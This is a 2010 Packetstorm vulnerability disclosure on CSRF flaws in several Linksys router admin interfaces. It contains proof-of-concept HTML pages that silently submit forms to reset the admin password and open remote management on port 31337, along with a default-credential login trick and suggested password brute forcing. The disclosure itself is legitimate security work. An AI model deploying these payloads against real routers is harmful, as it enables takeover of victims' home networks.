Linksys Router Cross Site Request Forgery

Type packetstorm
Reporter Martin Barbella
Modified 2010-12-03T00:00:00


                                            `It seems to be fairly well known that there are multiple unpatched  
CSRF vulnerabilities in the administration interfaces for various  
Linksys routers. Since the initial reports of these are from a few  
years ago, and since some exploits are available, I have written  
additional proof of concept exploits for the Linksys routers that I  
have access to.  
While in most cases the victim must be authenticated with the  
application in question to exploit a CSRF vulnerability, since the  
factory default passwords for all of the routers in question are known  
to be admin, the victim does not necessarily need to be authenticated.  
This means that only suggested workaround that I have seen up until  
now, do not surf the web wile authenticated in the router's  
administration interface, does not solve the problem in certain cases  
where the user is still using the default password. This is mitigated  
somewhat by the fact that most browsers provide at least some degree  
of protection from these types of attacks, described in additional  
detail below.  
In each case, the proof of concept will enable remote administration  
of the router on port 31337, while changing the password to __pwn3d__.  
WRT54G2 PoC (tested with hardware version 1.5 and firmware version 1.50):  
<title>WRT54G2 CSRF PoC</title>  
<body onload="document.getElementById('F').submit()">  
<form action="" method="post" id="F">  
<input type="hidden" name="MANAGE_USE_HTTP" value="0" />  
<input type="hidden" name="MANAGE_HTTP" value="1" />  
<input type="hidden" name="MANAGE_HTTP_S" value="0" />  
<input type="hidden" name="MANAGE_PASSWORDMOD" value="1" />  
<input type="hidden" name="MANAGE_PASSWORD" value="__pwn3d__" />  
<input type="hidden" name="MANAGE_PASSWORD_CONFIRM" value="__pwn3d__" />  
<input type="hidden" name="_http_enable" value="1" />  
<input type="hidden" name="MANAGE_WLFILTER" value="1" />  
<input type="hidden" name="MANAGE_REMOTE" value="1" />  
<input type="hidden" name="MANAGE_PORT" value="31337" />  
<input type="hidden" name="MANAGE_UPNP" value="1" />  
<input type="hidden" name="layout" value="en" />  
The form's action can be changed in the following way to attempt to  
log in with the default password:  
<form action="http://a:admin@" method="post" id="F">  
As I mentioned before, success of this type of exploit depends on the  
victim's browser. This is simply blocked in IE8, while Safari will  
give a phishing warning, Firefox warns the user that they are  
attempting to log in with the name "a", and Google Chrome simply  
allows the request without notifying the user in any way.  
WRT54G PoC (tested with hardware version 6 and firmware version 1.02.8):  
<title>WRT54G CSRF PoC</title>  
<body onload="document.getElementById('F').submit()">  
<form action="" method="post" id="F">  
<input type="hidden" name="remote_mgt_https" value="0" />  
<input type="hidden" name="http_enable" value="1" />  
<input type="hidden" name="https_enable" value="0" />  
<input type="hidden" name="PasswdModify" value="1" />  
<input type="hidden" name="http_passwd" value="__pwn3d__" />  
<input type="hidden" name="http_passwdConfirm" value="__pwn3d__" />  
<input type="hidden" name="_http_enable" value="1" />  
<input type="hidden" name="web_wl_filter" value="1" />  
<input type="hidden" name="remote_management" value="1" />  
<input type="hidden" name="http_wanport" value="31337" />  
<input type="hidden" name="upnp_enable" value="1" />  
<input type="hidden" name="layout" value="en" />  
To attempt a login with the default password, the same type of  
modification can be made, as shown here:  
<form action="http://a:admin@" method="post" id="F">  
BEFSR41 PoC (tested with hardware version 3 and firmware version 1.06.01):  
<img src=""  
alt="Nothing to see here." />  
And once again, a modification can be made to attempt to log in with  
the default password, as shown here:  
<img src="http://a:admin@"  
alt="Nothing to see here." />  
It is worth mentioning that even if a user has changed the router's  
password, but is using a weak password, they may still be vulnerable  
to this type of attack. An attacker could simply try many weak  
passwords in a dictionary-style attack. They could also use javascript  
to attempt to brute force the password, provided that they were able  
to get the victim to stay on a page for a reasonably long time.  
-Martin Barbella